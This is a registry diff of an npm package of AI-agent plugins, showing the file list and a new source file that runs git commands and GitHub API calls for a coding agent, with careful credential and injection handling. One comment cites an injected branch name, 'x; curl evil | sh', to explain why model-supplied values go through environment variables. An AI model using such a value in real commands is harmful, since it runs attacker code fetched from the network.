@dynamicagents/plugins 0.11.1 → 0.12.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +12 -13
- package/dist/arc-agi/analysis.d.ts +16 -30
- package/dist/arc-agi/analysis.js +20 -47
- package/dist/arc-agi/game-tools.d.ts +5 -6
- package/dist/arc-agi/index.d.ts +6 -8
- package/dist/arc-agi/index.js +3 -3
- package/dist/arc-agi/main-agent.d.ts +5 -8
- package/dist/arc-agi/main-agent.js +5 -8
- package/dist/arc-agi/recipe.d.ts +17 -20
- package/dist/arc-agi/recipe.js +17 -20
- package/dist/arc-agi/soul.d.ts +16 -27
- package/dist/arc-agi/soul.js +16 -27
- package/dist/arc-agi/store.d.ts +4 -5
- package/dist/arc-agi/store.js +4 -5
- package/dist/arc-agi/tools.d.ts +1 -1
- package/dist/arc-agi/tools.js +10 -12
- package/dist/arc-agi/types.d.ts +6 -7
- package/dist/claude-code/config.d.ts +88 -11
- package/dist/claude-code/config.js +11 -2
- package/dist/claude-code/credentials.d.ts +21 -9
- package/dist/claude-code/credentials.js +43 -9
- package/dist/claude-code/egress.d.ts +7 -13
- package/dist/claude-code/egress.js +9 -10
- package/dist/claude-code/events.d.ts +47 -0
- package/dist/claude-code/events.js +96 -10
- package/dist/claude-code/index.d.ts +31 -13
- package/dist/claude-code/index.js +62 -15
- package/dist/claude-code/run.d.ts +135 -41
- package/dist/claude-code/run.js +366 -61
- package/dist/computer/advisory.d.ts +31 -18
- package/dist/computer/advisory.js +30 -5
- package/dist/computer/context.d.ts +23 -0
- package/dist/computer/context.js +225 -0
- package/dist/computer/file-lock.d.ts +5 -0
- package/dist/computer/file-lock.js +39 -0
- package/dist/computer/gate.d.ts +8 -8
- package/dist/computer/gate.js +7 -7
- package/dist/computer/host/ca-trust.d.ts +88 -0
- package/dist/computer/host/ca-trust.js +303 -0
- package/dist/computer/host/container-deps.d.ts +54 -0
- package/dist/computer/host/container-deps.js +224 -0
- package/dist/computer/host/container-fault.d.ts +38 -0
- package/dist/computer/host/container-fault.js +58 -0
- package/dist/computer/host/git-host.d.ts +62 -0
- package/dist/computer/host/git-host.js +156 -0
- package/dist/computer/host/git-identity.d.ts +57 -0
- package/dist/computer/host/git-identity.js +147 -0
- package/dist/computer/host/install-job.d.ts +121 -0
- package/dist/computer/host/install-job.js +766 -0
- package/dist/computer/host/sync.d.ts +111 -0
- package/dist/computer/host/sync.js +124 -0
- package/dist/computer/host/wake.d.ts +19 -0
- package/dist/computer/host/wake.js +10 -0
- package/dist/computer/host/workspace.d.ts +424 -0
- package/dist/computer/host/workspace.js +1258 -0
- package/dist/computer/index.d.ts +70 -50
- package/dist/computer/index.js +79 -767
- package/dist/computer/install.d.ts +8 -12
- package/dist/computer/install.js +6 -9
- package/dist/computer/paths.d.ts +21 -16
- package/dist/computer/paths.js +40 -38
- package/dist/computer/read.d.ts +18 -22
- package/dist/computer/read.js +24 -27
- package/dist/computer/render.d.ts +28 -0
- package/dist/computer/render.js +34 -1
- package/dist/computer/shell.d.ts +45 -0
- package/dist/computer/shell.js +80 -0
- package/dist/computer/tools-exec.d.ts +3 -0
- package/dist/computer/tools-exec.js +269 -0
- package/dist/computer/tools-file.d.ts +4 -0
- package/dist/computer/tools-file.js +124 -0
- package/dist/computer/tools-find.d.ts +3 -0
- package/dist/computer/tools-find.js +216 -0
- package/dist/recall/index.d.ts +9 -3
- package/dist/recall/index.js +22 -12
- package/dist/repo/checkout.d.ts +34 -4
- package/dist/repo/checkout.js +36 -1
- package/dist/repo/context.d.ts +109 -0
- package/dist/repo/context.js +530 -0
- package/dist/repo/index.d.ts +6 -29
- package/dist/repo/index.js +17 -1027
- package/dist/repo/tools-clone.d.ts +4 -0
- package/dist/repo/tools-clone.js +192 -0
- package/dist/repo/tools-forge.d.ts +4 -0
- package/dist/repo/tools-forge.js +179 -0
- package/dist/repo/tools-review.d.ts +3 -0
- package/dist/repo/tools-review.js +373 -0
- package/dist/repo/tools-worktree.d.ts +4 -0
- package/dist/repo/tools-worktree.js +221 -0
- package/dist/triage/index.d.ts +6 -1
- package/dist/triage/index.js +32 -23
- package/dist/workspace/index.d.ts +3 -3
- package/dist/workspace/index.js +3 -3
- package/package.json +21 -15
|
@@ -0,0 +1,530 @@
|
|
|
1
|
+
import { DEFAULT_ALLOWED_HOSTS, parseRepo, repoLocation } from "./url.js";
|
|
2
|
+
/**
|
|
3
|
+
* The machinery every repo tool closes over: the resolved config, the git
|
|
4
|
+
* runners, and the forge client.
|
|
5
|
+
*/
|
|
6
|
+
const DEFAULT_WORKDIR = "/workspace";
|
|
7
|
+
const DEFAULT_API_BASE = "https://api.github.com";
|
|
8
|
+
const DEFAULT_AUTHOR = {
|
|
9
|
+
name: "da-coder",
|
|
10
|
+
email: "coder@dynamicagents.invalid"
|
|
11
|
+
};
|
|
12
|
+
const DEFAULT_MAX_OUTPUT_CHARS = 16_000;
|
|
13
|
+
/**
|
|
14
|
+
* Ceiling on every call this plugin makes to the forge's API.
|
|
15
|
+
*
|
|
16
|
+
* Not configurable, because it is not a tuning knob: it exists so an API that
|
|
17
|
+
* stops answering costs a round rather than the task. These are single small
|
|
18
|
+
* requests, and thirty seconds is already generous for one.
|
|
19
|
+
*/
|
|
20
|
+
const FORGE_TIMEOUT_MS = 30_000;
|
|
21
|
+
/**
|
|
22
|
+
* How many items one forge list call asks for. GitHub's maximum, and its default
|
|
23
|
+
* without this is 30.
|
|
24
|
+
*
|
|
25
|
+
* One page, never a Link-header walk: an unbounded fetch loop does not belong
|
|
26
|
+
* inside a model turn, and the render is bounded by `maxOutputChars` anyway. What
|
|
27
|
+
* matters is that a full page is *reported* as possibly partial rather than
|
|
28
|
+
* presented as the whole answer — a pull request's newest review comments are on
|
|
29
|
+
* the last page, and those are exactly the ones an agent was sent to act on.
|
|
30
|
+
*/
|
|
31
|
+
export const FORGE_PAGE_SIZE = 100;
|
|
32
|
+
/**
|
|
33
|
+
* Where GraphQL lives, given where REST does.
|
|
34
|
+
*
|
|
35
|
+
* On github.com they share an origin and `/graphql` hangs off it. On GitHub
|
|
36
|
+
* Enterprise — which {@link RepoConfig.apiBase} exists for — REST is under
|
|
37
|
+
* `/api/v3` and GraphQL is its **sibling** at `/api/graphql`, not a path beneath
|
|
38
|
+
* it. Appending blindly yields `/api/v3/graphql`, which is a 404 on every
|
|
39
|
+
* Enterprise install and no failure at all on the public API, so the mistake
|
|
40
|
+
* survives every test written against github.com.
|
|
41
|
+
*/
|
|
42
|
+
export function graphqlEndpoint(apiBase) {
|
|
43
|
+
const trimmed = apiBase.replace(/\/+$/, "");
|
|
44
|
+
const enterprise = trimmed.replace(/\/api\/v3$/, "/api/graphql");
|
|
45
|
+
return enterprise === trimmed ? `${trimmed}/graphql` : enterprise;
|
|
46
|
+
}
|
|
47
|
+
/**
|
|
48
|
+
* Middle-out truncation, so both the head of a diff and its tail survive.
|
|
49
|
+
*
|
|
50
|
+
* Deliberately a **copy** of the computer plugin's function of the same name,
|
|
51
|
+
* not an import. `npm run verify:exports` fails any subpath whose module graph
|
|
52
|
+
* reaches a sibling's directory, and its own advice for a shared helper is to
|
|
53
|
+
* duplicate it — installing `repo` must not drag `computer` (and therefore
|
|
54
|
+
* `@cloudflare/computer`) into a consumer's bundle. Fifteen lines is a cheaper
|
|
55
|
+
* price than that coupling, and it is the same reason `exec` is injected here
|
|
56
|
+
* rather than imported.
|
|
57
|
+
*
|
|
58
|
+
* The `half < 1` guard is not padding: without it a small `max` makes `half`
|
|
59
|
+
* zero or negative, and `slice(-0)` is `slice(0)` — the whole string — so the
|
|
60
|
+
* function would return *more* than it was given.
|
|
61
|
+
*/
|
|
62
|
+
export function truncateOutput(text, max) {
|
|
63
|
+
if (text.length <= max)
|
|
64
|
+
return text;
|
|
65
|
+
const marker = (dropped) => `\n\n… [${dropped} characters omitted from the middle] …\n\n`;
|
|
66
|
+
const half = Math.floor((max - marker(text.length).length) / 2);
|
|
67
|
+
if (half < 1)
|
|
68
|
+
return text.slice(0, Math.max(0, max));
|
|
69
|
+
return (text.slice(0, half) + marker(text.length - half * 2) + text.slice(-half));
|
|
70
|
+
}
|
|
71
|
+
/**
|
|
72
|
+
* What to tell the model when the plumbing, not the command, is the problem.
|
|
73
|
+
*
|
|
74
|
+
* A sibling of the computer plugin's `execLostNote` rather than an import, for
|
|
75
|
+
* the same reason {@link truncateOutput} is a copy: `verify:exports` fails any
|
|
76
|
+
* subpath whose module graph reaches a sibling's, and installing `repo` must
|
|
77
|
+
* not drag `computer` in behind it. The wording differs anyway, and the
|
|
78
|
+
* difference is the point — that plugin cannot know the lost command was git,
|
|
79
|
+
* and this one does. What a model needs after a lost `git push` is not "re-run
|
|
80
|
+
* it" but whether re-running it is *safe*.
|
|
81
|
+
*/
|
|
82
|
+
function unreachableNote(err) {
|
|
83
|
+
if (err?.code === "EEXEC_LOST") {
|
|
84
|
+
return ("the container was replaced while this command was running, so nothing here " +
|
|
85
|
+
"is known to have finished. This is infrastructure — not git, and not what " +
|
|
86
|
+
"you asked for. The checkout is durable and is exactly as you left it. " +
|
|
87
|
+
"Retry, and read what the retry says rather than assuming it starts from " +
|
|
88
|
+
"nothing: a command that had already reached the forge may have taken " +
|
|
89
|
+
"effect. Retrying is safe either way — these commands push one branch to " +
|
|
90
|
+
"the branch of the same name, and never force.");
|
|
91
|
+
}
|
|
92
|
+
return (`the command could not be run: ${String(err)}. This is the plumbing — the ` +
|
|
93
|
+
`container, the transport to it, or the host's own configuration — rather ` +
|
|
94
|
+
`than git or anything you passed, and nothing is known to have completed. ` +
|
|
95
|
+
`Retry once; if it happens again, say so in your result rather than working ` +
|
|
96
|
+
`around it.`);
|
|
97
|
+
}
|
|
98
|
+
/**
|
|
99
|
+
* One git command at a time, per plugin instance.
|
|
100
|
+
*
|
|
101
|
+
* Git takes `.git/index.lock` for anything that writes and fails outright rather
|
|
102
|
+
* than waiting if it is already held. A model may emit several tool calls in one
|
|
103
|
+
* turn and the SDK runs them concurrently, so unserialised a `repo_commit` and a
|
|
104
|
+
* `repo_push` race: the commit fails, the push succeeds against the previous
|
|
105
|
+
* state, and the round reports work that never landed.
|
|
106
|
+
*
|
|
107
|
+
* Held here rather than in {@link repoContext}'s closure, because that closure
|
|
108
|
+
* is too short-lived to be the boundary. Core rebuilds `mainAgentTools` every
|
|
109
|
+
* turn and gives each subagent execution its own tool family, so a per-call queue
|
|
110
|
+
* leaves a subagent racing its parent over one checkout — the same collision, one
|
|
111
|
+
* level up. The config object is the plugin instance, and a `WeakMap` means a
|
|
112
|
+
* discarded agent takes its queue with it.
|
|
113
|
+
*
|
|
114
|
+
* A promise chain rather than a lock, because that is all the scope needs: one
|
|
115
|
+
* isolate, one container. Reads are serialised too — `git status` does not take
|
|
116
|
+
* the lock, but ordering costs nothing at these durations and removes having to
|
|
117
|
+
* be right about which commands write.
|
|
118
|
+
*
|
|
119
|
+
* ## The unit is a command, not a tool call
|
|
120
|
+
*
|
|
121
|
+
* Worth stating exactly, because the name suggests more. What is guaranteed is
|
|
122
|
+
* that no two git commands run at once, which is what `.git/index.lock` needs.
|
|
123
|
+
* What is *not* guaranteed is that one tool's sequence is atomic: `repo_push`
|
|
124
|
+
* issues nine commands and `repo_commit` two, and another tool's command can be
|
|
125
|
+
* dequeued between any of them. The shape to watch for is a branch switch landing
|
|
126
|
+
* inside another tool's work —
|
|
127
|
+
*
|
|
128
|
+
* repo_commit: git add -A
|
|
129
|
+
* repo_push: git checkout -b coder/x ← interleaves here
|
|
130
|
+
* repo_commit: git commit -m "…" ← lands on coder/x
|
|
131
|
+
*
|
|
132
|
+
* — because the checked-out branch is state the whole checkout shares, so only
|
|
133
|
+
* concurrent *mutating* tools can disturb it. Both calls report success.
|
|
134
|
+
*
|
|
135
|
+
* Accepted rather than closed, because reaching it takes two repo tool calls in
|
|
136
|
+
* flight against one checkout from one agent, and that is not how the coder
|
|
137
|
+
* drives them. If it is ever observed, the fix is to take the lock once around
|
|
138
|
+
* each tool body instead of around each command — which means the runners below
|
|
139
|
+
* must stop taking it themselves, since a nested take on a promise chain waits
|
|
140
|
+
* on a tail its own caller is still holding.
|
|
141
|
+
*/
|
|
142
|
+
const gitQueues = new WeakMap();
|
|
143
|
+
/**
|
|
144
|
+
* How long one command may hold its checkout's queue.
|
|
145
|
+
*
|
|
146
|
+
* A command whose container or host never answers — a workspace object that
|
|
147
|
+
* reset under it — would otherwise hold every git command behind it for the life
|
|
148
|
+
* of the isolate, each abandoned in turn at core's per-call limit. Past this the
|
|
149
|
+
* command is reported unreachable and the queue moves on. It may still be
|
|
150
|
+
* running; a later command that meets its `index.lock` fails fast and says so.
|
|
151
|
+
* Under that per-call limit, so the tool answers for itself rather than being
|
|
152
|
+
* abandoned, and far longer than any git command here takes.
|
|
153
|
+
*/
|
|
154
|
+
const GIT_SLOT_MS = 8 * 60_000;
|
|
155
|
+
/** `work`, rejected once {@link GIT_SLOT_MS} passes without it settling. */
|
|
156
|
+
function withinSlot(work) {
|
|
157
|
+
let timer;
|
|
158
|
+
const expired = new Promise((_resolve, reject) => {
|
|
159
|
+
timer = setTimeout(() => reject(new Error(`no answer within ${GIT_SLOT_MS / 60_000} minutes, and it may still be running`)), GIT_SLOT_MS);
|
|
160
|
+
});
|
|
161
|
+
// The loser still settles, and a rejection nobody holds fails the request.
|
|
162
|
+
work.catch(() => { });
|
|
163
|
+
return Promise.race([work, expired]).finally(() => clearTimeout(timer));
|
|
164
|
+
}
|
|
165
|
+
export function repoContext(config, runtime) {
|
|
166
|
+
const workdir = config.workdir ?? DEFAULT_WORKDIR;
|
|
167
|
+
const apiBase = config.apiBase ?? DEFAULT_API_BASE;
|
|
168
|
+
const graphqlUrl = graphqlEndpoint(apiBase);
|
|
169
|
+
const author = config.author ?? DEFAULT_AUTHOR;
|
|
170
|
+
const allowedHosts = config.allowedHosts ?? DEFAULT_ALLOWED_HOSTS;
|
|
171
|
+
const maxChars = config.maxOutputChars ?? DEFAULT_MAX_OUTPUT_CHARS;
|
|
172
|
+
/** Everything this plugin hands back to the model, bounded. */
|
|
173
|
+
const bounded = (text) => truncateOutput(text, maxChars);
|
|
174
|
+
/**
|
|
175
|
+
* Tell the host a checkout is ready, and never let that fail the clone.
|
|
176
|
+
*
|
|
177
|
+
* The clone did succeed. Whatever the host wanted to do next — start an
|
|
178
|
+
* install, usually — is its problem to notice, and turning a working
|
|
179
|
+
* `repo_clone` into an error would send the model to investigate git when
|
|
180
|
+
* git is fine.
|
|
181
|
+
*/
|
|
182
|
+
const notifyCheckout = async (checkout) => {
|
|
183
|
+
if (!config.afterCheckout)
|
|
184
|
+
return;
|
|
185
|
+
try {
|
|
186
|
+
await config.afterCheckout(checkout);
|
|
187
|
+
}
|
|
188
|
+
catch (err) {
|
|
189
|
+
console.error("[repo] afterCheckout failed", {
|
|
190
|
+
dir: checkout.dir,
|
|
191
|
+
repo: checkout.repo,
|
|
192
|
+
err: String(err)
|
|
193
|
+
});
|
|
194
|
+
}
|
|
195
|
+
};
|
|
196
|
+
/**
|
|
197
|
+
* The forge credential, or the reason there is none.
|
|
198
|
+
*
|
|
199
|
+
* `config.token` is the host's thunk, and an unresolvable secret throws at the
|
|
200
|
+
* moment of use rather than at startup. Every caller here has a sentence to
|
|
201
|
+
* return, so a throw becomes a value: the one place that must never throw is
|
|
202
|
+
* {@link logFailure}, which runs on the path where an unreadable token is a
|
|
203
|
+
* likely reason to be there at all.
|
|
204
|
+
*/
|
|
205
|
+
const credential = () => {
|
|
206
|
+
try {
|
|
207
|
+
return { token: config.token() };
|
|
208
|
+
}
|
|
209
|
+
catch (err) {
|
|
210
|
+
return {
|
|
211
|
+
failure: `the forge credential could not be read: ${String(err)}. That is the ` +
|
|
212
|
+
`host's configuration rather than anything you passed — report it ` +
|
|
213
|
+
`rather than working around it.`
|
|
214
|
+
};
|
|
215
|
+
}
|
|
216
|
+
};
|
|
217
|
+
/**
|
|
218
|
+
* Say out loud that a git command failed.
|
|
219
|
+
*
|
|
220
|
+
* A failure path that returns its stderr only to the model is one audience
|
|
221
|
+
* short: a `git push` exiting 128 leaves nothing behind but an `exec` line and
|
|
222
|
+
* a truncated command, and proving whether the branch landed then means asking
|
|
223
|
+
* the GitHub API. One line naming the tool and carrying the stderr answers it
|
|
224
|
+
* directly.
|
|
225
|
+
*
|
|
226
|
+
* At `error`, because `--level error` is what an operator narrows to once a
|
|
227
|
+
* task has gone wrong and this is a thing that went wrong. A `warn` sits
|
|
228
|
+
* outside that filter, which leaves a failed clone invisible to the first pass
|
|
229
|
+
* of an investigation and findable only by timestamp.
|
|
230
|
+
*
|
|
231
|
+
* The token is scrubbed rather than trusted. It has no route into a container
|
|
232
|
+
* command, and the one channel that could carry it is the forge API's error
|
|
233
|
+
* body, which {@link forge} logs through this same function. So stderr *should*
|
|
234
|
+
* be clean — but "should be" is not the standard for something that writes a
|
|
235
|
+
* credential into a log that outlives the request, and the scrub costs a
|
|
236
|
+
* `split`/`join` on a path that already failed.
|
|
237
|
+
*/
|
|
238
|
+
const logFailure = (tool, detail) => {
|
|
239
|
+
// Nothing to scrub is not a problem: the log is written either way, and
|
|
240
|
+
// what it carries is whatever the command produced.
|
|
241
|
+
const secret = credential();
|
|
242
|
+
const token = "token" in secret ? secret.token : "";
|
|
243
|
+
const scrub = (text) => token && text ? text.split(token).join("«token»") : text;
|
|
244
|
+
console.error(`[repo] ${tool} failed`, {
|
|
245
|
+
exitCode: detail.exitCode,
|
|
246
|
+
stderr: truncateOutput(scrub(detail.stderr) ?? "", 2_000),
|
|
247
|
+
stdout: truncateOutput(scrub(detail.stdout) ?? "", 2_000)
|
|
248
|
+
});
|
|
249
|
+
};
|
|
250
|
+
// Keyed on the config object, which is what identifies the plugin instance:
|
|
251
|
+
// `repo(config)` closes over exactly one and hands the same one to every build.
|
|
252
|
+
const queue = gitQueues.get(config) ?? { tail: Promise.resolve() };
|
|
253
|
+
gitQueues.set(config, queue);
|
|
254
|
+
const serialised = (run) => {
|
|
255
|
+
// `then(run, run)` so one failure does not wedge every command behind it —
|
|
256
|
+
// the queue is for ordering, not for propagating outcomes.
|
|
257
|
+
const next = queue.tail.then(run, run);
|
|
258
|
+
queue.tail = next.then(() => undefined, () => undefined);
|
|
259
|
+
return next;
|
|
260
|
+
};
|
|
261
|
+
/**
|
|
262
|
+
* Every container command this plugin runs, and the only place `exec` is
|
|
263
|
+
* allowed to throw.
|
|
264
|
+
*
|
|
265
|
+
* `options` is a thunk rather than a value so that everything it reads — the
|
|
266
|
+
* token above all — is read here, inside the `try` and at the moment the queue
|
|
267
|
+
* actually dequeues this command. Building it at the call site would put a
|
|
268
|
+
* rotated secret's lookup, and any throw from it, outside the one handler.
|
|
269
|
+
*/
|
|
270
|
+
const run = (command, options) => serialised(async () => {
|
|
271
|
+
try {
|
|
272
|
+
return await withinSlot(config.exec(command, options()));
|
|
273
|
+
}
|
|
274
|
+
catch (err) {
|
|
275
|
+
// Logged here as well as by the tool's own failure branch: the two say
|
|
276
|
+
// different things, and this is the one that names the command. The
|
|
277
|
+
// command string is safe to log — that it never carries the token is the
|
|
278
|
+
// invariant this whole file is built on, and it has a test.
|
|
279
|
+
console.warn("[repo] command could not run", {
|
|
280
|
+
command: truncateOutput(command, 500),
|
|
281
|
+
err: String(err)
|
|
282
|
+
});
|
|
283
|
+
return {
|
|
284
|
+
success: false,
|
|
285
|
+
stdout: "",
|
|
286
|
+
stderr: unreachableNote(err),
|
|
287
|
+
exitCode: -1,
|
|
288
|
+
unreachable: true
|
|
289
|
+
};
|
|
290
|
+
}
|
|
291
|
+
});
|
|
292
|
+
/**
|
|
293
|
+
* A container command with no secret in its environment.
|
|
294
|
+
*
|
|
295
|
+
* `vars` carries every **model-controlled** value — a branch name, a commit
|
|
296
|
+
* message — into the container as an environment variable, referenced inside
|
|
297
|
+
* the command as `"$VAR"`. Interpolating them into the command string instead
|
|
298
|
+
* would let a model-authored branch name of `x; curl evil | sh` run as a
|
|
299
|
+
* second command. The container is isolated and the blast radius is its own
|
|
300
|
+
* filesystem, but "the container contains it" is a reason to be careful here,
|
|
301
|
+
* not a reason to skip it.
|
|
302
|
+
*
|
|
303
|
+
* `GIT_TERMINAL_PROMPT=0` is passed on every command rather than left to the
|
|
304
|
+
* image: a command inherits only a small allowlist from the daemon, so a
|
|
305
|
+
* variable that is not passed here does not reach git at all — and one that
|
|
306
|
+
* does not reach git is a prompt nobody can answer, on a terminal that does
|
|
307
|
+
* not exist.
|
|
308
|
+
*/
|
|
309
|
+
const shell = (script, cwd, vars = {}) => run(script, () => ({
|
|
310
|
+
cwd,
|
|
311
|
+
runtime,
|
|
312
|
+
env: { GIT_TERMINAL_PROMPT: "0", ...vars }
|
|
313
|
+
}));
|
|
314
|
+
const plain = (args, cwd, vars = {}) => shell(`git ${args}`, cwd, vars);
|
|
315
|
+
/**
|
|
316
|
+
* Run one credentialed operation, on the host's side of the boundary.
|
|
317
|
+
*
|
|
318
|
+
* The sibling of {@link run}, for the same reason: every tool below already
|
|
319
|
+
* has a `!success` branch that says what it was doing at the time. What differs
|
|
320
|
+
* is where a failure can come from.
|
|
321
|
+
*
|
|
322
|
+
* {@link file://./index.ts RepoGit} reports a *git* failure as data — a
|
|
323
|
+
* rejected push, a branch that does not resolve — so that becomes an ordinary
|
|
324
|
+
* unsuccessful result. A throw means the host could not be reached at all,
|
|
325
|
+
* which is the `unreachable` case: nothing ran, and three places in this file
|
|
326
|
+
* read that differently from an answer.
|
|
327
|
+
*
|
|
328
|
+
* Serialised with the container commands rather than merely alongside them. A
|
|
329
|
+
* fetch writes refs into the same checkout a `git status` is reading, and the
|
|
330
|
+
* two interleaving is exactly the race `serialised` exists to prevent — the
|
|
331
|
+
* fact that one of them now runs somewhere else does not change that they
|
|
332
|
+
* share a filesystem.
|
|
333
|
+
*/
|
|
334
|
+
const runGit = (op) => serialised(async () => {
|
|
335
|
+
try {
|
|
336
|
+
const result = await withinSlot(op());
|
|
337
|
+
return result.ok
|
|
338
|
+
? { success: true, stdout: result.detail, stderr: "", exitCode: 0 }
|
|
339
|
+
: { success: false, stdout: "", stderr: result.message, exitCode: 1 };
|
|
340
|
+
}
|
|
341
|
+
catch (err) {
|
|
342
|
+
// Logged here as well as by the tool's own failure branch, the same way
|
|
343
|
+
// `run` does it: this is the line that names the operation as git's
|
|
344
|
+
// rather than the container's, which is the first thing worth knowing.
|
|
345
|
+
console.warn("[repo] a credentialed git operation could not run", {
|
|
346
|
+
err: String(err)
|
|
347
|
+
});
|
|
348
|
+
return {
|
|
349
|
+
success: false,
|
|
350
|
+
stdout: "",
|
|
351
|
+
stderr: unreachableNote(err),
|
|
352
|
+
exitCode: -1,
|
|
353
|
+
unreachable: true
|
|
354
|
+
};
|
|
355
|
+
}
|
|
356
|
+
});
|
|
357
|
+
/**
|
|
358
|
+
* Update the checkout's remote-tracking refs.
|
|
359
|
+
*
|
|
360
|
+
* The allowlist travels with the call rather than being checked once here,
|
|
361
|
+
* because the host is where the token actually is: it can bind the check to
|
|
362
|
+
* the moment the credential would be handed over, which catches a host reached
|
|
363
|
+
* by redirect as well as one named in the URL.
|
|
364
|
+
*/
|
|
365
|
+
const fetchOrigin = (dir, url) => runGit(() => config.git.fetch({ url, dir, allowedHosts }));
|
|
366
|
+
/** Push one branch to the same-named branch on the remote. Never forced. */
|
|
367
|
+
const pushBranch = (dir, url, branch) => runGit(() => config.git.push({ url, dir, branch, allowedHosts }));
|
|
368
|
+
/**
|
|
369
|
+
* One call to the forge's API, from the Worker.
|
|
370
|
+
*
|
|
371
|
+
* Every tool here that talks to the forge goes through this, so the credential
|
|
372
|
+
* stays on the Worker's side of the boundary and the bound, the header set and
|
|
373
|
+
* the refusal to let an unreadable body replace an explanatory status are
|
|
374
|
+
* written once.
|
|
375
|
+
*
|
|
376
|
+
* A failure comes back as a value rather than a throw, because each caller has
|
|
377
|
+
* its own sentence to add: a POST whose answer never arrived may have been
|
|
378
|
+
* received, which a GET has no reason to warn about.
|
|
379
|
+
*/
|
|
380
|
+
const forge = (tool, path, init) => forgeAt(tool, `${apiBase}${path}`, init);
|
|
381
|
+
/**
|
|
382
|
+
* The same call, against a URL rather than a path under {@link apiBase}.
|
|
383
|
+
*
|
|
384
|
+
* GraphQL needs it: on Enterprise the REST base carries `/api/v3` and GraphQL
|
|
385
|
+
* does not live under it — see {@link graphqlEndpoint}.
|
|
386
|
+
*/
|
|
387
|
+
const forgeAt = async (tool, url, init) => {
|
|
388
|
+
const secret = credential();
|
|
389
|
+
if ("failure" in secret) {
|
|
390
|
+
logFailure(tool, { stderr: secret.failure });
|
|
391
|
+
return { ok: false, message: secret.failure };
|
|
392
|
+
}
|
|
393
|
+
let response;
|
|
394
|
+
try {
|
|
395
|
+
response = await fetch(url, {
|
|
396
|
+
method: init?.method ?? "GET",
|
|
397
|
+
headers: {
|
|
398
|
+
authorization: `Bearer ${secret.token}`,
|
|
399
|
+
accept: "application/vnd.github+json",
|
|
400
|
+
"content-type": "application/json",
|
|
401
|
+
"user-agent": "da-coder"
|
|
402
|
+
},
|
|
403
|
+
...(init ? { body: JSON.stringify(init.body) } : {}),
|
|
404
|
+
signal: AbortSignal.timeout(FORGE_TIMEOUT_MS)
|
|
405
|
+
});
|
|
406
|
+
}
|
|
407
|
+
catch (err) {
|
|
408
|
+
logFailure(tool, { stderr: String(err) });
|
|
409
|
+
return { ok: false, message: `could not reach ${url}: ${String(err)}` };
|
|
410
|
+
}
|
|
411
|
+
if (!response.ok) {
|
|
412
|
+
const detail = await response.text().catch(() => "");
|
|
413
|
+
logFailure(tool, { exitCode: response.status, stderr: detail });
|
|
414
|
+
return {
|
|
415
|
+
ok: false,
|
|
416
|
+
message: `${url} answered ${response.status}: ${detail.slice(0, 500)}`
|
|
417
|
+
};
|
|
418
|
+
}
|
|
419
|
+
return { ok: true, data: await response.json().catch(() => ({})) };
|
|
420
|
+
};
|
|
421
|
+
/**
|
|
422
|
+
* One GraphQL query or mutation, over {@link forge} so the credential, the
|
|
423
|
+
* bound, the headers and the scrubbed failure log stay written once.
|
|
424
|
+
*
|
|
425
|
+
* **A failed GraphQL query answers `200`.** The errors are in the body, so
|
|
426
|
+
* `response.ok` means only that the request was understood — a caller reading
|
|
427
|
+
* `data` straight through reports a permission failure, a bad node id or a
|
|
428
|
+
* malformed query as an empty result, which reads to the model as "there is
|
|
429
|
+
* nothing there" and is acted on accordingly. That is the whole reason this
|
|
430
|
+
* wrapper exists rather than each caller posting to `/graphql` itself.
|
|
431
|
+
*
|
|
432
|
+
* What needs it is what REST cannot express: resolving a review thread has no
|
|
433
|
+
* REST equivalent at all, the threads themselves are not on the issue timeline
|
|
434
|
+
* `repo_issue_view` reads, and a review *request* naming an app is invisible to
|
|
435
|
+
* REST — see {@link file://./tools-review.ts REVIEW_REQUESTS_QUERY}.
|
|
436
|
+
*/
|
|
437
|
+
const forgeGraphql = async (tool, query, variables) => {
|
|
438
|
+
const answered = await forgeAt(tool, graphqlUrl, {
|
|
439
|
+
method: "POST",
|
|
440
|
+
body: { query, variables }
|
|
441
|
+
});
|
|
442
|
+
if (!answered.ok)
|
|
443
|
+
return answered;
|
|
444
|
+
const body = answered.data;
|
|
445
|
+
if (body.errors && body.errors.length > 0) {
|
|
446
|
+
const detail = body.errors
|
|
447
|
+
.map((e) => e?.message ?? "unknown error")
|
|
448
|
+
.join("; ");
|
|
449
|
+
logFailure(tool, { stderr: detail });
|
|
450
|
+
return {
|
|
451
|
+
ok: false,
|
|
452
|
+
message: `${graphqlUrl} refused the query: ${detail.slice(0, 500)}`
|
|
453
|
+
};
|
|
454
|
+
}
|
|
455
|
+
return { ok: true, data: body.data };
|
|
456
|
+
};
|
|
457
|
+
/**
|
|
458
|
+
* Which repository the tools that read the forge are talking about.
|
|
459
|
+
*
|
|
460
|
+
* The checkout's own origin, never a URL the model supplies. Three reasons, in
|
|
461
|
+
* order of how much they matter: the origin has already been through the host
|
|
462
|
+
* allowlist, there is nothing new to validate; a model that can name any
|
|
463
|
+
* repository here can read any repository the token can, which is precisely
|
|
464
|
+
* the reach this plugin does not want to widen; and an agent asking about
|
|
465
|
+
* "issue 42" almost always means the repository it is working in, so the extra
|
|
466
|
+
* parameter would mostly be an extra way to be wrong.
|
|
467
|
+
*/
|
|
468
|
+
const forgeRepo = async (dir) => {
|
|
469
|
+
const { remote, unreachable } = await origin(dir);
|
|
470
|
+
if (unreachable)
|
|
471
|
+
return { refusal: bounded(unreachable) };
|
|
472
|
+
if (!remote)
|
|
473
|
+
return {
|
|
474
|
+
refusal: `${dir} has no origin on an allowed host — clone it with repo_clone first`
|
|
475
|
+
};
|
|
476
|
+
const parsed = parseRepo(remote.url, allowedHosts);
|
|
477
|
+
if (!parsed)
|
|
478
|
+
return {
|
|
479
|
+
refusal: `could not parse an owner/repo out of ${dir}'s origin`
|
|
480
|
+
};
|
|
481
|
+
return {
|
|
482
|
+
owner: encodeURIComponent(parsed.owner),
|
|
483
|
+
repo: encodeURIComponent(parsed.repo)
|
|
484
|
+
};
|
|
485
|
+
};
|
|
486
|
+
/**
|
|
487
|
+
* The origin a checkout was cloned from, re-derived rather than remembered.
|
|
488
|
+
*
|
|
489
|
+
* `repo_push` needs to know which host to offer the credential to, and the
|
|
490
|
+
* only trustworthy answer is the one recorded in the checkout itself — which
|
|
491
|
+
* `repo_clone` only ever writes after the allowlist has passed.
|
|
492
|
+
*/
|
|
493
|
+
const origin = async (dir) => {
|
|
494
|
+
const result = await plain("remote get-url origin", dir);
|
|
495
|
+
// Two different nothings. `repo_push`'s answer to "no origin here" is to
|
|
496
|
